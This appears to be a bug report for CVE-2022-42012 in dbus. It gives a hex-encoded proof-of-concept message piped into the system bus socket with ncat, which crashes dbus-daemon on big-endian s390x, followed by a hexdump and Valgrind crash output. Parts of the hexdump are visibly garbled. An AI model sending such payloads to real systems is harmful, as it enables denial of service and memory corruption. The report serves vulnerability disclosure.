## CVE-2022-42012: `\_dbus\_marshal\_byteswap` doesn't process fds in messages with "foreign" endianness correctly

## To reproduce

dbus-daemon can be crashed on a big-endian s390x VM by running the following command:

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cat <<'EOL' | xxd -p -r | ncat -U /run/dbus/system_bus_socket</pre>
00415554482045585445524e414c0d0a444154410d0a4e45474f54494154
455f554e49585f46440d0a424547494e0d0a6c0100010000000001000000
6e0000001016f00150000002f6f72672f667265656465736b746f702f44
42757300000002017300140000006f72672e667265656465736b746f702e
4442757300000000006017300140000006f72672e667265656465736b746f
702e4442757300000000030173000500000048656c6c6f0000006c010001
4000000030000008400000001016f00150000002f6f72672f6672656564
65736b746f702f44427573000000020173001f0000006f72672e66726565
6465736b746f702e444275732e50726f7065727469657300060173001400
00006f72672e667265656465736b746f702e44427573000000000000016700
037373760000000000000000030173000300000053657400000000001400
46656174757265730005286861732900ffffff7f08000000030000006865
7900
EOL
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00000000 00 41 55 54 48 20 45 58 54 45 52 4e 41 4c 0d 0a |.AUTH EXTERNAL..|
00000010 44 41 54 41 0d 0a 4e 45 47 4f 54 49 41 54 45 5f | DATA..NEGOTIATE |
00000020 55 4e 49 58 5f 46 44 0d 0a 42 45 47 49 4e 0d 0a |UNIX FD..BEGIN..|
00000040 01 01 6f 00 15 00 00 00 2f 6f 72 67 2f 66 72 65 |..o..../org/fre
00000050 65 64 65 73 6b 74 6f 70 2f 44 42 75 73 00 00 00 |edesktop/DBus...|
00000060 02 01 73 00 14 00 00 00 6f 72 67 2e 66 72 65 65 |..s....org.free|
00000070 64 65 73 6b 74 6f 70 2e 44 42 75 73 00 00 00 00 |desktop.DBus....|
000000000 06 01 73 00 14 00 00 00 6f 72 67 2e 66 72 65 65 |..s....org.free
00000090 64 65 73 6b 74 6f 70 2e 44 42 75 73 00 00 00 | desktop.DBus....
000000a0 03 01 73 00 05 00 00 00 48 65 6c 6c 6f 00 00 00 |..s....Hello...
909090b0 6c 01 00 01 40 00 00 00 03 00 00 00 84 00 00 00 | 1...@...........
000000c0 01 01 6f 00 15 00 00 00 2f 6f 72 67 2f 66 72 65 |......./org/fre|
000000d0 65 64 65 73 6b 74 6f 70 2f 44 42 75 73 00 00 00 |edesktop/DBus...|
000000e0 02 01 73 00 1f 00 00 00 6f 72 67 2e 66 72 65 65 |..s....org.free|
000000f0 64 65 73 6b 74 6f 70 2e 44 42 75 73 2e 50 72 6f
00000100 70 65 72 74 69 65 73 00 06 01 73 00 14 00 00 00 | perties...s....
00000110 6f 72 67 2e 66 72 65 65 64 65 73 6b 74 6f 70 2e |org.freedesktop.|
00000120 44 42 75 73 00 00 00 00 08 01 67 00 03 73 73 76 |DBus.....g..ssv|
00000140 53 65 74 00 00 00 00 00 14 00 00 06 f 72 67 2e | Set.....org.
00000150 66 72 65 65 64 65 73 6b 74 6f 70 2e 44 42 75 73 | freedesktop.DBus
00000160 00 00 00 00 08 00 00 00 46 65 61 74 75 72 65 73 |......Features|
00000170 00 05 28 68 61 73 29 00 ff ff ff 7f 08 00 00 00 |..(has)......
00000180 03 00 00 00 68 65 79 00
                                                     |....hey.|
00000188
```

## Actual result

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==35712== Invalid read of size 4

==35712== at 0x4875D38: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:66)

==35712== by 0x4875F5F: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:123)

==35712== by 0x4875DD9: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:187)

==35712== by 0x4875E77: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:174)

==35712== by 0x4875FE9: _dbus_marshal_byteswap (dbus-marshal-byteswap.c:240)

==35712== by 0x487A2A87: _dbus_message_byteswap (dbus-message.c:202)

==35712== by 0x487ACAB: _dbus_message_iter_init_common (dbus-message.c:2087)

==35712== by 0x487ACAB: dbus_message_iter_init (dbus-message.c:2130)

==35712== by 0x1230CD: bus_driver_handle_set (driver.c:3431)
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==35712==
            by 0x125611: bus_driver_handle_message (driver.c:3118)
==35712== by 0x121333: bus_dispatch (dispatch.c:403)
==35712==
           by 0x121333: bus dispatch message filter (dispatch.c:559)
==35712==
           by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4703)
==35712==
           by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4574)
==35712==
           by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:532)
==35712==
           by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:513)
           by 0x12E05F: _dbus_loop_iterate (dbus-mainloop.c:862)
==35712==
==35712== Address 0x502b65c is 28 bytes after a block of size 480 in arena "client"
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==35712== Invalid write of size 4
            at 0x4875D44: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:91)
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==35712== by 0x487ACAB: _dbus_message_iter_init_common (dbus-message.c:2087)
==35712== by 0x487ACAB: dbus_message_iter_init (dbus-message.c:2130)
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==35712== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==35712== Access not within mapped region at address 0x2504B000
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